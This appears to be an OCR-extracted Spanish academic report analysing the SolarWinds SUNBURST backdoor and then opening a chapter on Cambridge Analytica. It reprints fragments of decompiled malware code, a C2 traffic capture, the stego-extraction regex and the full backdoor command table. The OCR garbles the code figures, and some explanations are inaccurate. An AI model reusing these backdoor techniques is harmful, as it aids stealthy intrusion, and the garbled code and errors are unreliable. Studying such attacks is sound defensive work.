G num ¥= @x10@@a0a81E30UL ;
1@ T
12 catch
13 i
14
return num A Bx5BACIA3IBATDE1967UL ;

=
on i

Figura 16. Obtencion de Hash algoritmo FNV1-a 24

La “ofuscacion de codigo” consiste en ocular ciertas cadenas del cédigo de vital importancia que permiten
pasar desapercibido. Un ejemplo de uso es por ejemplo para las cadenas que contengan la direccidn de un
servidor de licencias. Si estas lineas de cddigo no estan “ofuscadas” pueden ser detectadas facilmente y

pueden ser modificadas, siguiendo el ejemplo anteriormente mencionado, podemos modificar la direccion

del servidor hacia un “servidor fantasma”.

public static bool TrackProcesses( full)
{
Process[] processes = Process.GetProcesses();
if (OrionImprovementBusinesslLayer.ProcessTracker.SearchAssemblies(processes))

{

flag = OrionImprovementBusinesslLayer.ProcessTracker.SearchServices(processes);
(!flag & full)

OrionImprovementBusinessLayer.ProcessTracker.SearchConfigurations();

flag;

Figura 17. Método usado para ofuscacion en Sunburst 12°

Se utilizan “SearchAssemblies” que comprueba si el analisis de procesos se estd realizando en el host. La
siguiente instruccidn “SearchServices” sirve para emitir un comando que verifique los procesos y por ultimo

el comando “SearchConfiguration” que devuelve un informe de analisis.
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Algoritmo de Generacion de id’s

Tras haber activado el malware con el primer algoritmo y la recopilacién masiva de datos con el segundo de
ellos toca generar identificadores para asociar cada tipo de informacién a las victimas.

Se deben de generar cadenas/identificadores Unicos para cada victima, pero no solo para ellas sino también

para todos los posibles archivos que se hayan recopilado.

El algoritmo esta formado por un esquema hash MD5 para generar una cadena de texto a la cual se le hace

una XOR con una semilla generada por la maquina cuyo resultado se envia al servidor.

r

private static bool GetOrCreatelUserID(out byte[] hashéd) {
string text = OrionImprovementBusinessLayer. ReadDeviceInfo();
hash&4 = new byte[&];
Array.ClearChashed, @, hashéd_ Length);
if (text == null) {
return false;

|

(s N [ ST

<part of the code omitted for clarity-
using (MD5 md = MD5.Create()) {

byte[] bytes = Encoding.ASCII.GetBytes(text);
11 byte[] array = md.ComputeHash(bytes);
12 if (array.Length = hashe4 Length) {
11 return false;

(e & - |

=
&

14 1

15 for {int 1 = 8; 1 < array.Length; i++) {
16 byte[]1 arrayZ = hashé4d;

17 int num = i % hash64 . Length;

18 array2[num] 4= array[i];

19 1

28

£l return true;

22 1

Figura 18. Algoritmo de Generacién de id’s 12
Este algoritmo calcula un resumen MD5 de un conjunto de datos que concatena la primera direccion MAC
del adaptador, el dominio del equipo atacado y el guid de la maquina reuniendo estos datos en un

resultado de ocho bytes.

Ya tenemos las victimas con sus respectivos identificadores y ahora cada cierto tiempo tendremos que

comunicar la informacion a los Servidores C2 por lo que sera el siguiente término que expliquemos.
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Servidores C2 (Comando & Control)

El servidor C2 es un sistema controlado por ciberdelincuentes y se puede controlar para llevar a cabo una
serie de ataques especificos. Para ejecutar comandos o control en el servidor, lo principal que se debe
hacer es infectarlo generalmente a través de un troyano.

El proceso que se desarrolld para este ataque en concreto es utilizar una pagina web maliciosa para que
fuese interactuada por algun sistema de la empresa SolarWinds de tal manera que se pudo explorar las

vulnerabilidades e instalar una puerta trasera mediante el algoritmo anteriormente visto.

Se instala el malware SunBurst 'y
comienza a realizar sus procesos

Se distribuye el sitio web malicioso
sobre los sistemas de la empresa

- r
L) s g &

Sitio Malicioso Victima casioe.dal
La victima interactda con Arma
el sitio web malicioso
€ @
~
SunBurst cada cierto tiempo enviara Explotador
m los datos a través de los routers la de Router
Atacante Router de Ia informacion al servidor C2.
Red
e > “_ns
rd
s El Servidor C2 se encarga también de o
infectar otros sistemas de la empresa
1 | | P 2 L
Servidor C2 para que el atacante tenga cada vez Servidores de
mas control. Internet

El Servidor C2 es el encargado de ir
recogiendo los datos que son enviados
por el malware a los cuales tiene
acceso el atacante.

Figura 19. Proceso de ejecucién SunBurst 12°!

La comunicacidon entre el malware y el servidor C2 se realiza a través de la puerta trasera, recordemos que
ésta puerta habia sido instalada con esta intencidon y estaba preparada para eludir distintos sistemas de

seguridad como pueden ser firewalls.

Sunburst utiliza el protocolo C2 gracias al uso de los protocolos DNS y HTTP. Tiene dos modos de

funcionamiento:

= Activo: una vez que se activa la puerta trasera, utilizard HTTP para comunicarse con su servidor C2
y recibir instrucciones sobre cémo realizar operaciones (generar procesos o transferir archivos).

= Pasivo: cuando la puerta trasera esta deshabilitada, se comunica con el atacante a través del
protocolo DNS y vuelve a recibir actualizaciones, pero ahora se trata del estado de la puerta (si

debe estar activada, si debe "irse a dormir" ...).
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Antes de comunicarse con el servidor C2, SunBurst realizara las comprobaciones necesarias para asegurarse
de que puede sortear todos los limites de seguridad, a través del algoritmo hash mencionado

anteriormente que puede analizar todos los procesos activos.

Después de verificar el proceso, continuara verificando si el periodo de tiempo establecido por el algoritmo
de suspensidn es efectivamente de 12 a 14. Si esta dentro de este intervalo de tiempo, la puerta trasera se

ejecutard y entrard en modo activo.

Una vez en modo activo, la puerta trasera reutiliza dos configuraciones legitimas existentes en la seccion
“ReportWatcherRetry” y “ReportWatcherPostpone” y se comprueba si el valor del primer parametro tiene
el valor “3” lo que indicard que el malware se ha desactivado y no va a realizar mas tareas de red.

A continuacidn, la puerta trasera determina si el sistema en el que se ha activado estd utilizando un
dominio AD, es decir, un dominio perteneciente a la empresa SolarWinds, en caso afirmativo recupera el

nombre del dominio. (*3

Ahora es cuando el coordinador del servidor C2 indica a la puerta trasera que debe de hacer, para
comenzar el proceso se pone en modo pasivo y se procede a ejecutar el algoritmo de generacién de id’s el

cudl se encarga de redirigir todo al servidor a través de registros DNS CNAME.

La puerta trasera ird interpretando las respuestas DNS en forma de 6rdenes del coordinador, el algoritmo
genera dominios DGA los cuales son encargados de construir subdominios autorizados gracias al uso del

cliente DNS del propio sistema.

Los subdominios se generan con identificadores de los usuarios, sistemas o archivos los cuales pueden ser
recuperados por el coordinador y enrutar SunBurst a su servidor C2 final. Como hemos visto anteriormente

en el algoritmo de generacion de id’s se genera un ID basado en tres valores:

= Direccion MAC de la primera interfaz de red no loopback disponible
= Dominio

* Valorde “HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid”
SunBurst realiza el algoritmo MD5 sobre este ID para obtener un hash el cual lo vuelve a codificar mediante

una XOR con el valor de 64 bits anteriormente indicado. Estos identificadores les sirven a los atacantes para

comprobar si realmente se estd atacando a una victima deseada.
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Encontramos un diagrama de las operaciones de los atacantes para obtener este tipo de informacion:

External entities’ network .  Aftacker conftrolied network

sesescens alicious DNS servel

SolarWinds Update client downloads,
malicious patch

Decode embedded
machine domain
name

SWinstallation
attempts remote
update

Malicious plugin
BusinessLayerHostdil
begins execution

Note: Domain names
secrelly encode victim
Plugin generates machines’' domain name
random domains @ [~--""TTTTTTTToTTsssossssssssssss

DGA and contacts DNS<_
senvers No decision, keep running for now i

gomain interesting

Plugin Starts malicious

C2 and executes  f-----=-vvvn- Yes -cooee e
commands .
Altacker drops second
stage malware Plugin killswitch

Ex TEARDROP Schwles

/é'ﬁ

Lateral movement and

further exploitation
occurs

Figura 20. Comprobacién de victimas SunBurst 17!

Durante el modo pasivo, la puerta trasera genera dominios a través de su DGA hacia el servidor C2

entonces el coordinador puede responder con distintos mensajes:

= Respuesta con registro DNS A: el malware comprueba la direccién mediante cadenas de bloques
de direcciones IP, cuando la encuentra pasara a modo activo y comenzard a comunicarse con su

servidor a través de HTTP.

= Respuesta con CNAME de DNS: el malware utiliza el dominio indicado desde la respuesta CNAME y
entra en modo activo para comenzar con la comunicaciédn HTTPS en la cual se controla la ejecucidn
de comandos. Esta respuesta debe ir precedida por la respuesta anterior ya que si no tiene un

registro DNS A previo el CNAME se tratara como un error.
En ambas respuestas los bits menos significativos de la direccidn IP de registro “A” son usados para saber

gué métodos de configuracion se van a utilizar (como por ejemplo el proxy) y el valor de retardo que usara

el protocolo HTTP.
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Tras recibir una respuesta DNS CNAME se ejecuta el subproceso “HttpHelper.Initialize” el cual es el
encargado de realizar las comunicaciones con C2 a través del protocolo HTTP.

El malware utiliza para la comunicacién las conocidas peticiones “GET” o “POST” las cuales permiten
agregar el encabezado HTTP “If-None-Match” que incluye el ID del usuario codificado para que el servidor

C2 pueda determinar que instalacidn generé las secuencias.

El servidor C2 emplea esteganografia para ocultar datos en las respuestas HTTP de tal forma que aparezca
como “XML benigno”, a continuacidn, se extraen los datos de las respuestas HTTP buscando cadenas
hexadecimales utilizando la expresion "\{[0-9a-f-]{36}\}"[" [0-9a-f] {32} "|" [0-9a-f] {16}".

Wireshark - Follow TCP Stream (tcp.stream eq 0) - 2.pcap v~

GET /swip/upd/Orion.UI-5.2.0.xml HTTP/1.1
If-None-Match: dfl [Sf
Host:

Connection: Close

HTTP/1.1 200 OK

Content-Type: application/xml
Transfer-Encoding: chunked
Connection: close

Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319

X-Trace: 2B .8F900
X-Powered-By: ASP.NET
Date:
ETag: fee cdi1f
leea
<?xml version="1.0" encoding="utf-8"?>
<assembly Name="Orion.UI" Key="{28 0-dcc8-471b-525f-b 18}" Version="4.8">
<dependencies>

<assemblyIdentity Name="Microsoft.Threading.Tasks.Extensions.Desktop" Key="{ -efe7-4e55-
fabb- }" Version="1.0.165.0" Culture="neutral" PublicKeyToken="d361b097aa3f2677"
Hash="36: ad72"/>

<assemblyIdentity Name="$S i on" Key#‘{23c62d6c-8925-2e33-46b3-bf0ecc04a36f]" Version="2.6.0.314"
Culture="neutral" PublicKeyToken "72273be33fabb7b3i Hash="" />

<assemblyIdentity Name="SolarWinds.Orion.Cortex.BusinessLayer.Contracts" Key="{' -

= " ture="neutral" PublicKeyToken="
Hash=§d4d7c77166aalb24ecd8a5426d80141e'"y>

<assemblyIdentity Name="SolarWinds.Wireless.Heatmaps.Collector" Key="{ "
Version="3.3.0.454" Culture="neutral" PublicKeyToken=' " Hash=" "/>

<assemblyIdentity Name="SolarWinds.Data.Providers.VIM.Plugin.v3" Key="{ b
Version="8.3.1.8604" Culture="neutral" PublicKeyToken=" " Hash=" I'/>

<assemblyIdentity Name="Infragistics2.Win.Misc.v10.2" Key="{ }is

Figura 21. Ejemplo respuesta HTTP a servidor C2 7]

Una vez recibida la respuesta podemos observar que el mensaje esta formado por varios campos:
= Campo DWORD: indica el tamafio del mensaje

= Trash’s Bytes: bytes basura que se incluyen para maquillar el mensaje

= Mensaje: mensaje que se quiere transmitir
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A continuaciodn, se extrae el mensaje mediante el uso de XOR, una vez obtenido se descompone. El primer

caracter serd un entero que indique qué comando se estd invocando 7!

= 0 (Inactivity): no se realiza ninguna operacion.

= 1 (GetOut): se obliga a finalizar el subproceso actual.

= 2 (SetTime): establece el tiempo de retardo entre ejecuciones de bucles de eventos principales.

= 3 (CollectSystemDescription): se pide informacidon del sistema local.

= 4 (UploadSystemDescription): realizar solicitud HTTP a la direccién URL indicada, analice resultados
y enviar respuestas al servidor C2.

= 5 (RunTask): iniciar un nuevo proceso sobre la ruta de acceso y los argumentos de archivo
indicados.

= 6 (GetProcessByDescription): devuelve una lista de procesos.

= 7 (KillTask): se obliga a finalizar un proceso indicado.

= 8 (GetFileSystemEntries): dado una ruta de acceso, enumerar los archivos y directorios.

= 9 (WriteFiles): dada una ruta de acceso de archivos y una cadena codificada, escriba el contenido
de la cadena en la ruta indicada.

= 10 (FileExists): dada una ruta de acceso comprobar la existencia de archivos en ella.

= 11 (DeleteFile): elimina la ruta de acceso de un archivo indicada.

= 12 (GetFileHash): pide el hash de un archivo en una ruta de acceso especificada.

= 13 (ReadRegistryValue): obtener valores de un drbol de registro indicado.

= 14 (SetRegistryValue): escribir valores desde un arbol de registro indicado.

= 15 (DeleteRegistryValue): eliminacién de valores de un arbol de registro indicado.

= 16 (GetRegistrySubKeyAndValueNames): devuelve la lista de subclaves de un arbol de registro
indicado.

= 17 (Restart): reinicio del sistema.

El malware envia los mensajes al servidor C2 indicado segun los comandos anteriores mediante el uso de
cadenas codificadas en UTF-8, un DWORD de error y el userID, seguidamente se realiza la XOR de ellos con
la clave preenviada al mensaje. Si los mensajes son de una longuitud menor a 10.000 caracteres se
codifican como un documento JSON semejante a los que usa el programa Orion de SolarWinds con el fin de
hacerse pasar por el propio software, en caso de que sean de un tamaiio mayor, se envian directamente en

el cuerpo de la solicitud HTTP.
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3.5. ULTIMAS ACTUALIZACIONES

En este apartado intentaremos explicar si se ha resuelto el ataque, en caso afirmativo, cdmo se ha

realizado, y también intentaremos averiguar si se ha actualizado la investigacion.

Distintas empresas como Microsoft, FireEye, SolarWinds como resultado del ataque, comenzaron a
desarrollar técnicas para detectar malware e intentar solucionarlo. Actualmente, la empresa de desarrollo

de software asegura a sus clientes que todos sus productos estdn libres de malware.

Lo primero que hizo SolarWinds para la proteccidn de sus productos fue estudiar todas las vulnerabilidades

de su sistema para reforzarlas 1¥%:

e Se ha publicado un parche actualizado para la versién de software afectada. En su blog podemos
encontrar una tabla que indica la versidn que se ha visto comprometida, el tipo de malware y las

medidas que se deben tomar para liberarla.

e Agregar un paso de validacién de firma digital cuando llegan nuevos mensajes. Se descubrié una
vulnerabilidad en la que los usuarios no autenticados podian enviar mensajes al puerto TCP del
software de la empresa, lo que les permitia ejecutar cddigo de forma remota sin requerir

privilegios.

e Refuerzo de cifrado sobre las bases de datos. Cualquier usuario no autenticado podia leer las
credenciales de la base de datos de Orion porque el texto no estaba encriptado correctamente.

Esto permitia a los atacantes obtener contrasefias de usuario para acceder a la plataforma.

e Limitar el acceso local a FTP. Se encontré que el usuario "administrador" puede acceder al servidor
FTP responsable de almacenar todas las cuentas de la empresa. Esto permite que un atacante
establezca el directorio de inicio como directorio raiz de la unidad y modifique cualquier tipo de

archivo.

e Financiacion de “pirateria ética” con el fin de descubrir nuevas vulnerabilidades en el sistemay

proceder a solventarlas antes de que puedan ser atacadas por terceros.

e Volver a realizar una firma digital de todo el software utilizado por sus productos. La propia
empresa especificd « Hemos obtenido nuevos certificados de firma de cddigo digital y hemos
reconstruido las versiones firmadas con el certificado que se va a revocar, estamos refirmando
nuestro codigo y volveremos a liberar todos los productos firmados previamente con el certificado

que se va a revocar » 34,
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En principio, todo esta "solucionado", pero diferentes empresas de gran trascendencia han decidido tomar
medidas para mejorar la seguridad, sobre todo veremos las acciones tomadas por empresas como

Microsoft o FireEye.

FireEye realizé con ayuda de la empresa Microsoft y GoDaddy el desarrollo de una herramienta que
funciona como interruptor de desactivacién de la puerta trasera de SolarWinds denominada “Kill Switch”.
Como hemos visto anteriormente SunBurst se conectaba a un servidor C2 en un subdominio encontrado en
la nube “avsvmcloud|.Jcom”, lo que se hizo fue indagar en qué direcciones IP resolvia este servidor y tras
encontrarla se redirigié a una direccion IP de Microsoft “20.140.0.1” que permitia el estudio a fondo del

malware B33

Todas las direcciones IP fueron descubiertas por la empresa FireEye asegurando que « Como parte del
andlisis de Sunburst por parte de FireEye, identificamos un killwitch que evitaria que Sunburst siguiera
funcionando. Dependiendo de la direccion IP retornada cuando el malware resuelve avsvmcloud|.Jcom, bajo

ciertas condiciones, el malware se terminaria por si mismo e impediria su posterior ejecucién ». 33

Destagquemos personalmente que el término "Kill Switch" se ha integrado recientemente en casi todos los
sistemas informaticos porque nos permite detener diferentes procesos de ejecucion en un momento dado,
actualmente lo podemos encontrar integrado en coches eléctricos, smartphones u ordenadores.

Microsoft por su parte realizé un profundo estudio del cédigo malicioso gracias a que confiscé un servidor

C2 gracias a la empresa anteriormente mencionada.

Tras ello decidié preparar su propio software “Microsoft 365 Security” para aportar un nuevo nivel de

seguridad en los sistemas. Este software es capaz de:

e Detectar versiones de software Orion que han podido ser comprometidas.

e Gestion de amenazas y vulnerabilidades que proporcionan un informe detallado de las mismas.

e Informe en tiempo real de alertas relacionadas con el malware.

e Busqueda de actividad del atacante para detectar informacién como la conexidn, identidad o nube.
e Deteccidn y bloqueo de la actividad de la puerta trasera.

e Uso de directivas anti-manipulacion.

e Detencion del movimiento lateral y el robo de credenciales.

e Detencion de técnicas de enmascaramiento.

e Deteccidn de actividad sospechosa en la nube.
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Tras haber visto la serie de soluciones realizadas para solventar el ataque indagaremos si ha habido

actualizaciones por parte de las empresas investigadoras CrowdStrike o FireEye entre otras.

= La empresa SecureWorks indica en uno de sus informes « Un agente de deteccion y respuesta de
puntos finales de SecureWorks se registré desde un host que no pertenecia a la organizacion

[36]

comprometida y utilizé una direccion IP geolocalizada a China » ®*' . Por lo tanto, se introdujo un

nuevo pais en la lista de sospechosos.

= Tras lainvestigacidn por parte de Microsoft la empresa afirma que «Los términos de busqueda

utilizados por el actor indican el enfoque esperado en intentar encontrar secretos.» 3¢

= El gobierno de EEUU indica que como resultado del ataque a SolarWinds, se ha establecido un
proyecto secreto relacionado con la seguridad de la red. En el proyecto se establecieron medidas
de contraataque y se desplegé tecnologia para mejorar la seguridad de las instituciones nacionales.

Esto lo hara junto a las empresas SolarWinds y Microsoft.

= Una orden ejecutiva de la era Trump entrara en vigencia, requiriendo que las empresas
proveedoras de "nube" comprendan a sus clientes y respondan a posibles amenazas en sus

productos.

= La empresa CrowdStrike sospecha que «El actor de amenazas se aprovechd de las debilidades
sistémicas en la arquitectura de autenticacion de Windows, lo que le permitio moverse lateralmente
dentro de la red» 8. Y pide a la empresa Microsoft que «abordara las limitaciones de la
arquitectura de autenticacion en torno a Active Directory y Azure Active Directory, o cambiara a una

metodologia diferente por completo» 12,
=  Sigue sin haber un impacto claro del ataque dado que los datos robados no han sido utilizados de

momento con ningun fin. A priori se establece que el impacto es de «2.9 millones de ddlares por

minuto sobre la economia global» *% segtin el Foro Econémico Mundial (WEF).
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La noticia mas reciente (6 de Marzo de 2021) y quizas la mas preocupante a raiz de la investigacidn por

parte de Microsoft y FireEye es la siguiente:

* Se descubren tres nuevas cepas de malware *° relacionadas con el ataque a SolarWinds. Se
descubren nuevas herramientas malware que fueron introducidas en las redes de grandes

empresas o agencias gubernamentales.

Estas herramientas se apodan como “GoldMax”, “GoldFinder” y “Sibot”, describamos cada una de

ellas segun el estudio de Microsoft:

o GoldMax responsable de ocultar el trafico malicioso, es decir, puede enviar solicitudes
HTTP al servidor C2 utilizando una URL pseudoaleatoria conocida, enmascarando asi el

tréfico de red bajo trafico aparentemente benigno.

o GoldFinder se encarga de rastrear las direcciones HTTP de servidores C2 y otras

infraestructuras utilizadas durante el ataque.

o Sibot responsable de "mantener" la presencia de malware en la red atacada y de descargar

o ejecutar cargas Utiles maliciosas.

Para finalizar esta seccidn veremos las lecciones aprendidas como consecuencia del ciberatague mds

importante conocido, asi como las formas de prevenir ataques similares.

Con todo lo que hemos tratado anteriormente vemos que el ataque ha tenido un impacto global y ya se

IM

trata del “mayor ataque cibernético de ciberespionaje” por distintos medios de gran prestigio. Esto ha
hecho que tanto empresas como asociaciones gubernamentales tengan conocimiento de los riesgos que
conlleva y que deben reforzar los “obsoletos” equipos de seguridad puesto que los hackers, de manera
oculta, demuestran que son capaces de perfeccionar sus armas con la intencién de introducirse en

cualquier sistema.

Desde mi punto de vista, las empresas deben de actualizar sus métodos de seguridad cada cierto tiempo
cambiando métodos de codificacidn y proteccién de datos con el fin de despistar a posibles atacantes,
recordemos que durante este ataque los hackers estuvieron cierto tiempo observando la actividad, cédigo

y funcionamiento de las empresas que usaban el software Orion.

Para prevenir ataques similares se proponen distintas medidas. Lo primero que debe hacerse es mejorar la
gestion de la cadena de suministro puesto que cuantos mas clientes existan dentro de ella mas vulnerable
serd la cadena. Para ello se propone hacer uso de la inteligencia artificial para un monitoreo constante de

datos y, sobre todo, quién tiene acceso a ellos.
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Otra medida que se debe tomar es proteger los datos capa por capa, es decir, implementar diferentes
métodos de proteccion para el producto, tomemos como ejemplo un correo electrénico protegido con
contrasefia. Si la contrasena se ve comprometida mediante un ataque, el autor podra tener acceso al
correo electrdénico, en cambio, si afado otra capa de seguridad como pueden ser técnicas MFA
(autenticacion multifactor) estaré poniendo mas dificultades al atacante para obtener acceso al correo pese

a que sabe la contrasefia.

Hace uso de herramientas de analisis de amenazas internas afiadiria otra capa de seguridad para detectar

posibles amenazas como pueden ser la intrusidén de usuarios o acciones de ellos en un sistema y recoger

informes de estas anomalias y alertar a los sistemas superiores. Un ejemplo de este funcionamiento es el
popularmente creciente modelo “Zero Trust” cuya definicion principal es no confiar ni en los propios

agentes internos del sistema.

Establecer el acceso de “privilegio minimo”, es decir, limitar el acceso a sistemas de red a los
departamentos que realmente lo necesitan. Habra que evaluar la cantidad minima de acceso que necesita
una identidad para llevar a cabo su tarea sin problemas y no concederles mas que eso de tal manera que el

sistema global serd mas dificil de ser penetrado y descifrado.

Como ultima medida de prevencién/actuacion frente a ataques sera la de realizar copias de seguridad de
nuestros datos. Normalmente el uso de malwares va relacionado cominmente como ransomwares los
cuales secuestran como rehén con el fin de pedir rescates por ellos. Si tenemos nuestros archivos con copia

de seguridad probablemente no causen un impacto demasiado importante.
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3.6. GLOSARIO

Durante éste ultimo punto trataremos de explicar brevemente los conceptos mas relevantes que hemos

tratado durante el desarrollo de este capitulo en orden alfabético.

e Agencia CISA es una agencia federal de EEUU que se define como “Agencia de Seguridad de
Infraestructura y Ciberseguridad”. Su tarea basica es mejorar la seguridad de la red mediante el uso

de desarrollo de software para prevenir posibles ataques.

e Archivo .dll es una biblioteca de enlaces dindmicos, una coleccién de archivos que contienen

cédigo ejecutable, que los programas utilizan a peticion del sistema operativo.

e Adware tipo de software malicioso cuya funcién principal es “bombardear” con publicidad

emergente.

e Cifrado RC4 consiste en un método de cifrado de flujo, que es el mas utilizado para protocolos
como SSL y WEP. Aunque tiene algunas deficiencias, es un algoritmo sencillo y rapido. Genera una
secuencia pseudoaleatoria de bits utilizados para ir cifrando el texto plano mediante la realizacién

de una XOR entre ambos dando como resultado el texto cifrado.

e Cifrado AES128-chc método de cifrado AES (Advanced Encryption Standard) en su modo “CBC”. Es
un algoritmo de cifrado simétrico que puede soportar bloques de como minimo 128 bits. Se utiliza

un algoritmo que genera el cifrado del texto plano con una clave.

e Codificacion UTF-8 sistema de codificacion de caracteres conocido como “estdndar Unicode” que

permite el procesamiento, intercambio y visualizacién de los textos escritos en diversos lenguajes.

e Clave Privada secuencia de texto usada para el manejo de informacidn importante.
Especificamente, la clave privada pertenece a una persona, sistema o entidad, y debe ser secretay
no puede ser compartida con nadie, porque si lo hace, la informacién protegida por ella puede

verse comprometida.

e Cadena de Suministro en el ambito de nuestra investigacion, se refiere a la recopilacién de
actividades, instalaciones, métodos de distribucidn, cédigos generados, etc. de la empresa que
utiliza el software. Especificamente, Orion recopilé la infraestructura de red de sus clientes y les

permitio ver sus actividades.

e Direccion MAC “Media Access Control” es un cédigo identificativo Unico para un dispositivo en
particular para las tarjetas de red. Esta formado por 48 bits representados por digitos

hexadecimales.
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o DNS Protocol es un sistema de nomenclatura el cual se encarga de darle un dominio (nombre) a
una direccion IP.
o Dominio AD “Active Directory” define un conjunto de ordenadores conectados entre si
(red) propio de las empresas. Esta formado por el conjunto de ordenadores, servidores y

equipos de red de una empresa como SolarWinds en nuestro caso.

o DNS CNAME es un registro DNS encargado de asignar un alias a un nombre de dominio.

Son utilizados para asignar subdominios dentro de una red a un dominio principal.

o Dominios DGA son dominios generados pseudoaleatoriamente a raiz de una semilla inicial,
normalmente son algoritmos los que los generan.

o DNS A serie de registros tipo “A” de DNS encargados de enlazar una direccién IP con un
dominio de IP, pero también informa sobre la caducidad de la informacidn y otros atributos

como la clase, el tipo y el tamafio de registro.

o Empresa Kaspersky companiia global de ciberseguridad. Es responsable de analizar las amenazas a
las computadoras y desarrollar soluciones y servicios de seguridad disefiados para proteger a las

empresas, la infraestructura, los gobiernos y los clientes.

e Empresa CrowdStrike sociedad lider en proteccién de “endpoints” (equipos finales de red) sobre
todo en la nube. Unifica antivirus de préxima generacién, deteccion y respuestas EDR junto a un

sistema de caza todo en ello en forma de software.

e Empresa FireEye sociedad encargada de realizar andlisis, deteccion y prevencién de
vulnerabilidades en sistemas de red con el fin de evitar posibles amenazas. Forman parte de ellas

empresas importantes en ambitos de seguridad como McAfee.

e Empresa GoDaddy empresa encargada de promover plataformas en la nube destinadas a pequenas

empresas.

e Empresa SentinelOne grupo de expertos especializados en sistemas de defensa, ciberseguridad y

ciberinteligencia. Se encargan de desarrollar software para la proteccion de sus clientes.

e Esteganografia se trata de aplicar las técnicas necesarias para ocultar mensajes u objetos en otros
denominados portadores para que no se noten. Obviamente, el portador tiene el mismo aspecto

que el portador original.
e Firma Digital método de cifrado que se utiliza para asociar la identidad de una persona, sistema o

infraestructura con un documento. Se genera aplicando un algoritmo hash para generar una clave y

aplicando un algoritmo de firma al documento.
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FTP Server servidor que utiliza el protocolo FTP (File Transfer Protocol) el cual sirve para la
transferencia de archivos y datos entre clientes de una misma red. En concreto no esta
recomendado su uso dado que los datos son transmitidos sin ninglin método de cifrado, para ello

se propone hacer uso de “SFTP” el cudl afiade protocolos de cifrado.

Gusano subclase de virus o malware encargados de replicarse en distintos sistemas con un objetivo

claro, colapsar los ordenadores o redes impidiendo el trabajo de los usuarios. No infectan archivos.

HTTP Protocol “Hypertext Transfer Protocol” es el protocolo bdsico de internet el cual permite
realizar peticiones entre distintos equipos de los datos y recursos de la Web. Tiene estructura de
cliente-servidor.
o Peticiéon GET y POST comandos utilizados para la peticidon de datos en el protocolo HTTP, se
diferencian por el método de envio de datos. El método GET envia los datos haciendo uso
de la URL incluyendo en ella los atributos mientras que el método POST envia los datos de

manera oculta.

o HTTP “If-None-Match” encabezado sobre la solicitud HTTP en la cual el servidor devolvera
el recurso solicitado solo si no tiene un ETag que coincida con los datos. Los ETag permiten

gue las memorias caché sean mas eficientes y se ahorre ancho de banda.

Hash MD5 algoritmo criptografico que obtiene un texto de plano de 512 bits y genera un resumen

hash . Son utilizados para comprobar que un archivo no haya sido modificado.

Kill Switch mecanismo de seguridad que permite que el dispositivo que lo contenga pueda quedar
inactivo en caso necesario como puede ser robo, ataque... Actualmente se esta incluyendo este

mecanismo en todos los dispositivos actuales.

Malware Kazuar malware similar al utilizado durante el ataque SolarWinds encargado de
proporcionar acceso remoto a la maquina de la victima. Se insinud que los creadores de éste
malware fueron los mismos que desarrollaron el malware SunBurst por sus similitudes a la hora de

utilizar algoritmos y funciones caracteristicas o que al menos sirvieron como “inspiracion”.

NSC de EEUU “Consejo de Seguridad Nacional de los Estados Unidos”. Es la encargada de la

coordinacion e impulso sobre temas de politica exterior y seguridad nacional.

Operacién XOR puerta légica digital que representa la funcidn de desigualdad. Es muy usada en
términos criptograficos para la modificacion del texto plano con una serie de datos como pueden

ser claves privadas y que el cifrado sea mas fuerte.

Pirateria ética término usado para identificar el conjunto de técnicas y acciones realizadas con el

fin de detectar vulnerabilidades en sistemas de red para solventarlas.
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Ransomwares software malicioso encargado del secuestro de datos con el fin de obtener una

ganancia econdmica por su liberacion.

Spyware software malicioso encargado de recopilar informaciéon de un sistema informatico y

transmitir la informacidn a servidores remotos sin tener permisos.

Troyano software malicioso que se introduce en un sistema gracias a la interaccién del usuario con
el que aparentemente es inofensivo pero que tras ejecutarlo permite al atacante acceso remoto al

equipo infectado.
Virus software malicioso encargado de replicarse en distintos sistemas para colapsar redes

impidiendo el trabajo de los usuarios. En este caso los virus tienen como objetivo principal infectar

los archivos del sistema atacado.
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4. CAPITULO 2. CAMBRIDGE ANALYTICA

4.1. ANALISIS

Para comenzar éste capitulo expliguemos antes de nada de qué se trata “Cambridge Analytica”. Cambridge
Analytica es una empresa privada con sede en Londres, Inglaterra, fundada en 2013 y subsidiaria de la

empresa “SCL Group” o “Strategic Communication Lab”.

Cambridge Analytica trabaja en el campo de las tecnologias de la informacidn y la comunicacién en forma
de consultoria. Nacié expresamente para participar en la politica estadounidense de tal forma que pudiese
realizar una recopilacion y analisis especializado de datos para la creacidn de campafias publicitarias y

politicas con el fin de influir en los resultados electorales.
Pero, ¢qué tiene que ver una empresa poco conocida -de nuevo- en temas de ciberseguridad?

En 2016 se celebraron las elecciones presidenciales de Estados Unidos en las cuales salié vencedor el
partido republicano y parecia que, en principio, todo habia sido fruto de una democracia. En 2018 la
empresa Cambridge Analytica se vio envuelta en una serie de acusaciones por parte de medios de
comunicacion de alto rango como “The New York Times”, “The Guardian” o “The Observar” los cuales
acusaban a la empresa de haber usado la red social “Facebook” para explotar informacion ilegalmente de

millones de perfiles de usuarios con objetivo de manipularlos de cara a las elecciones.

Lo que en principio debia de hacer la empresa es analizar datos con el fin de desarrollar campafias
publicitarias o politicas para aquellos partidos que la contratasen pero, pese a que eso hizo, desarrollaron la
magquinaria necesaria para llevar a cabo un robo de datos e influir en la decisién de los usuarios mediante el

uso de las fake news.

Tras explotar la noticia se descubrié que la red social de Zuckerberg “Facebook” tenia constancia de lo que
se estaba haciendo pero no actud para defender a sus usuarios lo que provocd que se llevase a cabo una
investigacion exhaustiva de lo sucedido y por qué no se habia evitado.

Durante el capitulo nos centraremos en cémo se llevé a cabo el robo de datos y el uso de las fake news ya
gue, actualmente, estan a la orden del dia y entenderemos como pueden influir mundialmente en grandes

decisiones.

Aclaremos que la investigacion realizada se ha llevado a cabo sin entrar en temas de ambito politico.
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4.2. ATRIBUCION

Como hemos dicho anteriormente, la atribucidn principal es de la empresa Cambridge Analytica pero,
vamos a indagar mas a fondo en quién llevé a cabo todo el proceso y cual fue la motivacidn para hacerlo.
El fundador de la empresa Alexander Nix explicé que la empresa habia nacido para « para abordar el vacio
en el mercado politico republicano estadounidense » *!, e indicé que el partido demdcrata « habia estado
liderando la revolucidn tecnoldgica, y el andlisis de datos y la participacion digital eran dreas donde los

republicanos no se habian puesto al dia. Vimos esto como una oportunidad » ¥,

La empresa decidié contratar a Alexandr Kogan o también conocido como “Dr. Spectre”, un experto en
“Data Science” para desarrollar la aplicacion que llevaria a cabo el objetivo de recopilar los datos.
